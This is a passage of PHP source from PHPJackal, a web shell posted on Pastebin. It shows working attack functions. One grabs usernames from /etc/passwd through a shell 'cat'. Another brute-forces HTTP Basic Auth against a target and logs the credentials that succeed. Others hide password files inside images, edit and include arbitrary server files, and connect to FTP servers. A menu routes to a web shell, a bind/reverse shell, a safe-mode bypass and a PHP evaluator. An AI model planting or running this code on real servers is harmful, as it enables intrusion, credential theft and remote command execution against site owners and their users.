  2209. if($windows)echo 'Unable to read from '.htmlspecialchars($_REQUEST['input'])."<br />";
  2210. else{
  2211. $input=explode("\n",shelL("cat $input"));
  2212. $output=fopen($_REQUEST['output'],'w');
  2213. if($output){
  2214. foreach($input as $in){
  2215. $user=$in;
  2216. $user=trim(fgets($in)," \n\r");
  2217. if(!strstr($user,':'))continue;
  2218. $user=substr($user,0,(strpos($user,':')));
  2219. if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
  2220. }
  2221. fclose($input);fclose($output);
  2222. echo '<font color=blue>Done</font>';
  2223. }
  2224. }
  2225. }
  2226. else{
  2227. $output=fopen($_REQUEST['output'],'w');
  2228. if($output){
  2229. while(!feof($input)){
  2230. $user=trim(fgets($input)," \n\r");
  2231. if(!strstr($user,':'))continue;
  2232. $user=substr($user,0,(strpos($user,':')));
  2233. if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
  2234. }
  2235. fclose($input);fclose($output);
  2236. echo '<font color=blue>Done</font>';
  2237. }
  2238. else echo 'Unable to write data to '.htmlspecialchars($_REQUEST['input'])."<br />";
  2239. }
  2240. }elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
  2241. $res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
  2242. if($combo && $res){
  2243. $file=file($_REQUEST['output']);
  2244. $output=fopen($_REQUEST['output'],'w');
  2245. foreach($file as $v)fwrite($output,"$v:$v\n");
  2246. fclose($output);
  2247. }
  2248. echo '<font color=blue>Done</font>';
  2249. }else{
  2250. $temp=whereistmP().DIRECTORY_SEPARATOR;
  2251. echo '<form name=wordlist method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Wordlist generator</label>
  2252. </div><div class="fieldwrapper"><label class="styled">Range:</label><div class="thefield"><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select>
  2253. </div></div><div class="fieldwrapper"><label class="styled">min lenght:</label><div class="thefield"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></div>
  2254. </div><div class="fieldwrapper"><label class="styled">Max lenght:</label><div class="thefield"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option></select></div>
  2255. </div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div>
  2256. </div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output
  2257. </div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Make" style="margin-left: 150px;" /></div></form><br /><form name=grab method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Grab dictionary</label></div><div class="fieldwrapper"><label class="styled">Input:</label><div class="thefield"><input type="text" name="input" value="/etc/passwd" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Grab" style="margin-left: 150px;" />
  2258. </div></form><br /><form name=dldic method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Download dictionary</label>
  2259. </div><div class="fieldwrapper"><label class="styled">URL:</label><div class="thefield"><input type="text" name="url" value="http://people.sc.fsu.edu/~jburkardt/datasets/words/wordlist.txt" size="30" />
  2260. </div></div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Get" style="margin-left: 150px;" /></div></form><br />';
  2261. }
  2262. }
  2263. function ftpclienT(){
  2264. global $cwd,$hcwd;
  2265. echo '<img src="http://h.ackerz.com/PHPJackal/images/ftp.png" style="border: none; margin: 0;" /><br /><br />';
  2266. if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){
  2267. $user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT'];
  2268. $con=ftp_connect($_REQUEST['hosT'],21,10);
  2269. if($con){
  2270. if(ftp_login($con,$user,$pass)){
  2271. if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']);
  2272. if(!empty($_REQUEST['filE'])){
  2273. $file=$_REQUEST['filE'];
  2274. $mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII;
  2275. if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode);
  2276. elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode);
  2277. elseif(isset($_REQUEST['rM'])){
  2278. ftp_rmdir($con,$file);
  2279. ftp_delete($con,$file);
  2280. }
  2281. elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file);
  2282. }
  2283. $pwd=ftp_pwd($con);
  2284. $dir=ftp_nlist($con,'');
  2285. $d=opendir($cwd);
  2286. echo "<table border=0 cellspacing=0 cellpadding=0><tr><th>$host</th><th>";if(!empty($_SERVER['SERVER_ADDR']))echo $_SERVER['SERVER_ADDR'];else echo'127.0.0.1'; echo "</th></tr><form method=POST><tr><td><input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td><td><input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr><td>";
  2287. foreach($dir as $n)echo "$n<br />";
  2288. echo "</td><td>";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr><td colspan=2>Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td><td><input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form></tr></td></table>";
  2289. }else echo "Wrong username or password!";
  2290. }else echo "Can not connect to server!";
  2291. }
  2292. else{
  2293. echo '
  2294. <form name=client method="POST">
  2295. <div class="fieldwrapper">
  2296. <label class="styled" style="width:320px">FTP client</label>
  2297. </div><div class="fieldwrapper">
  2298. <label class="styled">Server:</label>
  2299. <div class="thefield">
  2300. <input type="text" name="hosT" value="localhost" size="30" />
  2301. </div>
  2302. </div><div class="fieldwrapper">
  2303. <label class="styled">Username:</label>
  2304. <div class="thefield">
  2305. <input type="text" name="useR" value="anonymous" size="30" />
  2306. </div>
  2307. </div><div class="fieldwrapper">
  2308. <label class="styled">Password:</label>
  2309. <div class="thefield">
  2310. <input type="text" name="pasS" value="[email protected]" size="30" />
  2311. </div>
  2312. </div>
  2313. '.$hcwd.'
  2314. <div class="buttonsdiv">
  2315. <input type="submit" value="Connect" style="margin-left: 150px;" />
  2316. </div></form>';
  2317. }
  2318. }
  2319. function calC(){
  2320. global $hcwd;
  2321. echo '<img src="http://h.ackerz.com/PHPJackal/images/converter.png" style="border: none; margin: 0;" /><br /><br />';
  2322. $fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev');
  2323. if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
  2324. $to=$_REQUEST['to'];
  2325. echo '<form class="form" method="POST">';
  2326. echo '<div class="fieldwrapper">
  2327. <label class="styled">Output:</label>
  2328. <div class="thefield"><textarea readonly="readonly">';
  2329. if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i})));
  2330. else echo $to($_REQUEST['input']);
  2331. echo '</textarea></div></div>';
  2332. }
  2333. echo '
  2334. <form method="POST" class="form">
  2335. <div class="fieldwrapper">
  2336. <label class="styled">Input:</label>
  2337. <div class="thefield">
  2338. <textarea name="input">';if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo '</textarea>
  2339. </div>
  2340. </div><div class="fieldwrapper">
  2341. <label class="styled">Function:</label>
  2342. <div class="thefield">
  2343. <select name="to">
  2344. <option value="md5">MD5</option>
  2345. <option value="sha1">SHA1</option>
  2346. <option value="crc32">Crc32</option>
  2347. <option value="strrev">Reverse</option>
  2348. <option value="ip2long">IP to long</option>
  2349. <option value="long2ip">Long to IP</option>
  2350. <option value="decbin">Decimal to binary</option>
  2351. <option value="bindec">Binary to decimal</option>
  2352. <option value="dechex">Decimal to hex</option>
  2353. <option value="hexdec">Hex to decimal</option>
  2354. <option value="hex">ASCII to hex</option>
  2355. <option value="urlencode">URL encoding</option>
  2356. <option value="urldecode">URL decoding</option>
  2357. <option value="base64_encode">Base64 encoding</option>
  2358. <option value="base64_decode">Base64 decoding</option>
  2359. </select>
  2360. </div>
  2361. </div>'.$hcwd.'
  2362. <div class="buttonsdiv">
  2363. <input type="submit" value="Convert" style="margin-left: 150px;" />
  2364. </div>
  2365. </form>';
  2366. }
  2367. function stegn0(){
  2368. global $hcwd;
  2369. echo '<img src="http://h.ackerz.com/PHPJackal/images/stegno.png" style="border: none; margin: 0;" /><br /><br />';
  2370. if(!extension_loaded('gd')){
  2371. echo "GD extension is not installed. You can't use this section without it.";
  2372. return;
  2373. }
  2374. if(!empty($_REQUEST['maskimagE']) && !empty($_REQUEST['hidefilE']) && !empty($_REQUEST['outfilE'])){
  2375. echo stegfilE($_REQUEST['maskimagE'],$_REQUEST['hidefilE'],$_REQUEST['outfilE']);
  2376. }elseif (!empty($_REQUEST['revimagE'])){
  2377. echo steg_recoveR(($_REQUEST['revimagE']));
  2378. }
  2379. else echo '
  2380. <form name=stegn method="POST">
  2381. <div class="fieldwrapper">
  2382. <label class="styled" style="width:320px">Steganographer</label>
  2383. </div><div class="fieldwrapper">
  2384. <label class="styled">Mask image: (JPEG)</label>
  2385. <div class="thefield">
  2386. <input type="text" name="maskimagE" value="banner.jpg" size="30" />
  2387. </div>
  2388. </div><div class="fieldwrapper">
  2389. <label class="styled">File to hide:</label>
  2390. <div class="thefield">
  2391. <input type="text" name="hidefilE" value="pass.lst" size="30" />
  2392. </div>
  2393. <div class="fieldwrapper">
  2394. <label class="styled">Outout: (PNG)</label>
  2395. <div class="thefield">
  2396. <input type="text" name="outfilE" value="banner.png" size="30" />
  2397. </div>
  2398. </div>
  2399. '.$hcwd.'
  2400. <div class="buttonsdiv">
  2401. <input type="submit" name="stegn0" value="Combine" style="margin-left: 150px;" />
  2402. </div>
  2403. </form>
  2404. <br />
  2405. <form name=rev method="POST">
  2406. <div class="fieldwrapper">
  2407. <label class="styled" style="width:320px">Reveal</label>
  2408. </div><div class="fieldwrapper">
  2409. <label class="styled">Steganographed image: (PNG)</label>
  2410. <div class="thefield">
  2411. <input type="text" name="revimagE" value="banner.png" size="30" />
  2412. </div>
  2413. </div>
  2414. '.$hcwd.'
  2415. <div class="buttonsdiv">
  2416. <input type="submit" name="stegn0" value="Reveal" style="margin-left: 150px;" />
  2417. </div>
  2418. </form>';
  2419. }
  2420. function authcrackeR(){
  2421. global $hcwd;
  2422. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2423. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  2424. $data='';
  2425. $method=($_REQUEST['method'])?'POST':'GET';
  2426. if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
  2427. spliturL($_REQUEST['target'],$host,$page);
  2428. $type=$_REQUEST['combo'];
  2429. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  2430. if($method=='GET')$page.=$data;
  2431. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2432. echo '<font color=blue>';
  2433. while(!feof($dictionary)){
  2434. if($type){
  2435. $combo=trim(fgets($dictionary)," \n\r");
  2436. $user=substr($combo,0,strpos($combo,':'));
  2437. $pass=substr($combo,strpos($combo,':')+1);
  2438. }else{
  2439. $pass=trim(fgets($dictionary)," \n\r");
  2440. }
  2441. $so=fsockopen($host,80,$en,$es,5);
  2442. if(!$so){echo "Can not connect to host";break;}
  2443. else{
  2444. $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
  2445. if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data);
  2446. $packet.="\r\n\r\n";
  2447. $packet.=$data;
  2448. fputs($so,$packet);
  2449. $res=substr(fgets($so),9,2);
  2450. fclose($so);
  2451. if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");}
  2452. }
  2453. }
  2454. echo 'Done!</font>';
  2455. }else echo '
  2456. <form name=cracker method="POST">
  2457. <div class="fieldwrapper">
  2458. <label class="styled" style="width:320px">HTTP Auth cracker</label>
  2459. </div><div class="fieldwrapper">
  2460. <label class="styled">Target:</label>
  2461. <div class="thefield">
  2462. <input type="text" name="target" value="localhost" size="30" />
  2463. </div>
  2464. </div><div class="fieldwrapper">
  2465. <label class="styled">Dictionary:</label>
  2466. <div class="thefield">
  2467. <input type="text" name="dictionary" size="30" />
  2468. </div>
  2469. </div><div class="fieldwrapper">
  2470. <label class="styled">Dictionary type:</label>
  2471. <div class="thefield">
  2472. <ul style="margin-top:0;">
  2473. <li><input type="radio" value="0" checked name="combo" onClick="document.cracker.user.disabled = false;" /> <label>Simple (P)</label></li>
  2474. <li><input type="radio" name="combo" value="1" onClick="document.cracker.user.disabled = true;" /> <label>Combo (U:P)</label></li>
  2475. </ul>
  2476. </div>
  2477. </div>
  2478. <div class="fieldwrapper">
  2479. <label class="styled">Method:</label>
  2480. <div class="thefield">
  2481. <select name="method"><option selected value="1">POST</option><option value="0">GET</option></select>
  2482. </div>
  2483. </div><div class="fieldwrapper">
  2484. <label class="styled">Username:</label>
  2485. <div class="thefield">
  2486. <input type="text" name="user" size="30" />
  2487. </div>
  2488. </div><div class="fieldwrapper">
  2489. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  2490. <div class="thefield">
  2491. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  2492. </div>
  2493. </div>
  2494. '.$hcwd.'
  2495. <div class="buttonsdiv">
  2496. <input type="submit" name="start" value="Start" style="margin-left: 150px;" />
  2497. </div>
  2498. </form>';
  2499. }
  2500. function openiT($name){
  2501. $ext=end(explode('.',$name));
  2502. $src=array('php','php3','php4','phps','phtml','phtm','inc');
  2503. $img=array('gif','jpg','jpeg','bmp','png','tif','ico');
  2504. if(in_array($ext,$src))highlight_file($name);
  2505. elseif (in_array($ext,$img)){showimagE($name);return;}
  2506. else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>';
  2507. echo '<br /><a href="javascript: history.go(-1)"><img src="http://h.ackerz.com/PHPJackal/images/back.png" /><b>Back</b></a>';
  2508. }
  2509. function opensesS($name){
  2510. $sess=file_get_contents($name);
  2511. $var=explode(';',$sess);
  2512. echo "<pre>Name\tType\tValue\r\n";
  2513. foreach($var as $v){
  2514. $t=explode('|',$v);
  2515. $c=explode(':',$t[1]);
  2516. $y='';
  2517. if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null';
  2518. echo $t[0]."\t$y\t".$c[1]."\r\n";
  2519. }
  2520. echo '</pre>';
  2521. }
  2522. function logouT(){
  2523. setcookie('passw','',time()-10000);
  2524. header('Location: '.hlinK());
  2525. }
  2526. ?>
  2527. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2528. <html xmlns="http://www.w3.org/1999/xhtml">
  2529. <head>
  2530. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  2531. <title>PHPJackal [<?php echo $cwd;?>]</title>
  2532. <link rel="stylesheet" type="text/css" href="http://h.ackerz.com/PHPJackal/style.css"/>
  2533. <link rel="shortcut icon" href="http://h.ackerz.com/PHPJackal/favicon.ico" type="image/x-icon" />
  2534. <?php if($_REQUEST['seC']=='fm')
  2535. echo '
  2536. <script language="JavaScript" type="text/JavaScript">
  2537. function chmoD($file){
  2538. $ch=prompt("Changing file mode["+$file+"]: ex. 777","");
  2539. if($ch != null)location.href="'. hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=').'"+$file+"&modE="+$ch;
  2540. }
  2541. </script>';
  2542. ?>
  2543. </head>
  2544. <body>
  2545. <div class="left">
  2546. <img src="http://h.ackerz.com/PHPJackal/images/banner.png" alt="banner" />
  2547. <ul>
  2548. <li <?php if($_REQUEST['seC']=='sysinfo')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">Information</a></li>
  2549. <li <?php if($_REQUEST['seC']=='fm' || $_REQUEST['seC']=='openit')echo 'class="active"'?>><a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">File manager</a></li>
  2550. <li <?php if($_REQUEST['seC']=='edit')echo 'class="active"'?>><a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">Editor</a></li>
  2551. <li <?php if($_REQUEST['seC']=='webshell')echo 'class="active"'?>><a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">Web shell</a></li>
  2552. <li <?php if($_REQUEST['seC']=='br')echo 'class="active"'?>><a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">B/R shell</a></li>
  2553. <li <?php if($_REQUEST['seC']=='asm')echo 'class="active"'?>><a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">Safe-mode</a></li>
  2554. <li <?php if($_REQUEST['seC']=='sqlcl')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd");?>">SQL client</a></li>
  2555. <li <?php if($_REQUEST['seC']=='ftpc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd");?>">FTP client</a></li>
  2556. <li <?php if($_REQUEST['seC']=='mailer')echo 'class="active"'?>><a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd");?>">Mail sender</a></li>
  2557. <li <?php if($_REQUEST['seC']=='eval')echo 'class="active"'?>><a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">PHP evaler</a></li>
  2558. <li <?php if($_REQUEST['seC']=='sc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sc&workingdiR=$cwd");?>">Scanners</a></li>
  2559. <li <?php if($_REQUEST['seC']=='cr' || $_REQUEST['seC']=='dic' || $_REQUEST['seC']=='auth' || $_REQUEST['seC']=='fcr' || $_REQUEST['seC']=='snmp' || $_REQUEST['seC']=='hc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">Crackers</a></li>
  2560. <li <?php if($_REQUEST['seC']=='px')echo 'class="active"'?>><a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">Web pr0xy</a></li>
  2561. <li <?php if($_REQUEST['seC']=='steg')echo 'class="active"'?>><a href="<?php echo hlinK("seC=steg&workingdiR=$cwd");?>">Stegano</a></li>
  2562. <li <?php if($_REQUEST['seC']=='tools')echo 'class="active"'?>><a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">Tools</a></li>
  2563. <li <?php if($_REQUEST['seC']=='calc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">Converter</a></li>
  2564. <li <?php if($_REQUEST['seC']=='phpjackal')echo 'class="active"'?>><a href="<?php echo hlinK("seC=phpjackal&workingdiR=$cwd");?>">PHPJackal</a></li>
  2565. <li <?php if($_REQUEST['seC']=='about')echo 'class="active"'?>><a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">About</a></li>
  2566. <?php if(isset($_COOKIE['passw']))echo '<li><a href="'. hlinK("seC=logout").'">Logout</a></li>';?>
  2567. </ul></div>
  2568. <div class="right">
  2569. <div class="content">
  2570. <?php
  2571. if(!empty($_REQUEST['seC'])){
  2572. switch($_REQUEST['seC']){
  2573. case 'fm':filemanageR();break;
  2574. case 'sc':scanneR();break;
  2575. case 'phpinfo':phpinfo();break;
  2576. case 'edit':
  2577. if(!empty($_REQUEST['Save'])){
  2578. $filehandle=fopen($_REQUEST['filE'],'w');
  2579. fwrite($filehandle,$_REQUEST['edited']);
  2580. fclose($filehandle);}
  2581. if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR('');
  2582. break;
  2583. case 'openit':openiT($_REQUEST['namE']);break;
  2584. case 'cr':crackeR();break;
  2585. case 'dic':dicmakeR();break;
  2586. case 'tools':toolS();break;
  2587. case 'hex':hexvieW();break;
  2588. case 'img':showimagE($_REQUEST['filE']);break;
  2589. case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break;
  2590. case 'hc':hashcrackeR();break;
  2591. case 'fcr':formcrackeR();break;
  2592. case 'auth':authcrackeR();break;
  2593. case 'ftpc':ftpclienT();break;
  2594. case 'eval':phpevaL();break;
  2595. case 'phpjackal':phpjackal();break;
  2596. case 'snmp':snmpcrackeR();break;
  2597. case 'px':pr0xy();break;
  2598. case 'steg':stegn0();break;
  2599. case 'webshell':webshelL();break;
  2600. case 'mailer':maileR();break;
  2601. case 'br':brshelL();break;
  2602. case 'asm':safemodE();break;
  2603. case 'sqlcl':sqlclienT();break;
  2604. case 'calc':calC();break;
  2605. case 'sysinfo':sysinfO();break;
  2606. case 'checksum':checksuM($_REQUEST['filE']);break;
  2607. case 'logout':logouT();break;
  2608. default: echo $intro;}}else echo $intro;
  2609. ?>
  2610. <div id="footer" style="margin-top:100px; width:500px">&copy; 2010 <a href="http://h.ackerz.com"><strong>H.ackerz.com</strong></a><br/>Created by NetJackal
  2611. </div>
  2612. </div>
  2613. </div>
  2614. </body>
  2615. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!